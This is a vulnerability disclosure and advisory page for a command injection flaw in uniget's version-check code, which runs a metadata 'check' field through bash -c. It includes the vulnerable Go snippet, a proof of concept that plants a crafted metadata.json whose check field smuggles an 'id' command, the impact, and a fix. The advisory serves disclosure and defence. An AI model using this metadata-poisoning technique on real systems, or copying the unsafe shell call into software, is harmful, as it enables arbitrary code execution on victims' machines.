uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution
Description
I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.
Summary
A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.
This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.
Details
The vulnerable code is located in:
tool.go:250
Vulnerable function:
func (tool *Tool) RunVersionCheck() (string, error) {
cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
version, err := cmd.Output()
return string(version), nil
}
The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.
Related structure:
type Tool struct {
Check string
}
Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.
Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.
PoC
Step 1 — Verify the vulnerable binary:
/tmp/uniget-bin --version
Output:
uniget version main
Step 2 — Create malicious metadata cache:
mkdir -p ~/.local/var/cache/uniget
cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
"tools": [
{
"name": "evil-tool",
"version": "1.0.0",
"binary": "${target}/bin/evil-tool",
"check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
"tags": ["test"],
"description": "RCE test",
"repository": "https://example.com",
"license": {
"name": "MIT",
"link": "https://example.com"
},
"sources": [
{
"registry": "ghcr.io",
"repository": "uniget-org/tools"
}
]
}
]
}
EOF
Step 3 — Create placeholder binary:
mkdir -p ~/.local/usr/local/bin
cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF
chmod +x ~/.local/usr/local/bin/evil-tool
Step 4 — Trigger the vulnerable workflow:
/tmp/uniget-bin describe evil-tool --prefix ~/.local
Application output:
Name: evil-tool
Description: RCE test
Repository: https://example.com
Version: 1.0.0
Check: /tmp/rce-proof.txt>
Step 5 — Verify arbitrary command execution:
ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt
Actual output:
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)
This confirms arbitrary command execution through the untrusted check field loaded from metadata.
Impact
This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.
An attacker may be able to:
- Execute arbitrary shell commands
- Exfiltrate sensitive files or environment variables
- Install malware or backdoors
- Modify or delete accessible files
- Establish persistence on the victim machine
- Compromise CI/CD environments using uniget automation
Any user importing or processing attacker-controlled metadata may be impacted.
Suggested
Remediation
Avoid using /bin/bash -c with untrusted input.
Instead of:
exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
consider executing fixed binaries and arguments directly without invoking a shell.
For example:
exec.Command(binary, "--version")
or sanitize and strictly validate allowed commands before execution.
Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Command injection in uniget via unsafe execution of the `check` field from untrusted JSON metadata leads to arbitrary code execution.
Vulnerability
A command injection vulnerability exists in uniget (all versions prior to v0.27.1) due to the RunVersionCheck() function in tool.go:250 executing the tool.Check field via /bin/bash -c without validation. The Check field is populated directly from JSON metadata files using json.Unmarshal(), allowing an attacker to supply malicious metadata that includes shell metacharacters (;, &&, |, $(), backticks). This affects operations that trigger version checks, such as describe, install, update, and inspect [1][2].
Exploitation
An attacker must convince a victim to use a malicious metadata file, either by supplying a crafted repository or by placing a malicious metadata.json in the cache directory (~/.local/var/cache/uniget/metadata.json). When the victim runs any uniget command that triggers version checking on the injected tool, the payload in the check field is executed by /bin/bash -c, leading to command injection. No authentication is required beyond the ability to influence the metadata location [1][2].
Impact
Successful exploitation allows arbitrary command execution with the privileges of the user running uniget. This can lead to full system compromise, including data theft, installation of malware, or privilege escalation [1][2].
Mitigation
Upgrade to uniget v0.27.1 or later, which enforces signed metadata and rejects untrusted JSON input [4]. If upgrading is not possible, avoid using uniget with untrusted metadata sources. No workaround is available for versions before v0.27.1 [2].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
gitlab.com/uniget-org/cliGo | < 0.27.1 | 0.27.1 |
Patches
0No patches discovered yet.
Vulnerability mechanics
AI mechanics synthesis has not run for this CVE yet.
References
3News mentions
0No linked articles in our index yet.